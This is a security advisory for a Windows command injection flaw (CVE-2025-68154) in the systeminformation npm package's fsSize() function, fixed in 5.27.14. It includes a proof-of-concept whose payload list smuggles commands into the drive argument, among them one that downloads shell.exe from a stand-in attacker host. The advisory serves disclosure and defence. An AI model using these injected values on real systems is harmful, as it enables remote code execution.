systeminformation
Affected
- introduced
0, fixed5.27.14(semver)
Fixed versions
5.27.14
Fix
- Fixed version
5.27.14npm install [email protected]
Advisory
Also known as: CVE-2025-68154
systeminformation has a Command Injection vulnerability in fsSize() function on Windows
Summary
The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.
Affected Platforms: Windows only
CVSS Breakdown:
fsSize()> Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.
---
Details
Vulnerable Code Location
File: lib/filesystem.js, Line 197
if (_windows) {
try {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The drive parameter is concatenated directly into the PowerShell command string without any sanitization.
Why This Is a Vulnerability
This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():
| File | Line | Function | Sanitization |
|------|------|----------|--------------|
| lib/processes.js | 141 | services() | ✅ util.sanitizeShellString(srv) |
| lib/processes.js | 1006 | processLoad() | ✅ util.sanitizeShellString(proc) |
| lib/network.js | 1253 | networkStats() | ✅ util.sanitizeShellString(iface) |
| lib/docker.js | 472 | dockerContainerStats() | ✅ util.sanitizeShellString(containerIDs, true) |
| lib/filesystem.js | 197 | fsSize() | ❌ No sanitization |
The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.
---
PoC
Attack Scenario
An application exposes disk information via an API and passes user input to si.fsSize():
// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');
http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const drive = parsedUrl.query.drive; // User-controlled input
// VULNERABLE: User input passed directly to fsSize()
const diskInfo = await si.fsSize(drive);
res.end(JSON.stringify(diskInfo));
}).listen(3000);
Exploitation
Normal Request:
GET /api/disk?drive=C:
Malicious Request (Command Injection):
GET /api/disk?drive=C:;%20whoami%20%23
Command Construction Demonstration
The following demonstrates how commands are constructed with malicious input:
Normal usage:
Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
With injection payload `C:; whoami #`:
Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
↑ ↑
semicolon terminates # comments out rest
first command
PowerShell will execute:
Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)whoami (injected command)# is commented outPoC Script
/**
* Command Injection PoC - systeminformation fsSize()
*
* Run with: node poc.js
* Requires: npm install systeminformation
*/
const os = require('os');
// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
return cmd;
}
// Test payloads
const payloads = [
{ name: 'Normal', input: 'C:' },
{ name: 'Command Execution', input: 'C:; whoami #' },
{ name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
{ name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];
console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);
payloads.forEach(p => {
console.log(`[${p.name}]`);
console.log(` Input: ${p.input}`);
console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`);
});
PoC Output
=== Command Injection PoC ===
Platform: win32
Note: Actual exploitation requires Windows
[Normal]
Input: C:
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
[Command Execution]
Input: C:; whoami #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
[Data Exfiltration]
Input: C:; Get-Process | Out-File C:\temp\procs.txt #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl
[Remote Payload]
Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl
As shown, the attacker's commands are injected directly into the PowerShell command string.
---
Impact
Who Is Affected?
systeminformation on Windows that pass user-controlled input to fsSize(drive)Potential Attack Scenarios
High Basis: The source's own band: HIGH
0, fixed 5.27.14 (semver)5.27.14
5.27.14npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0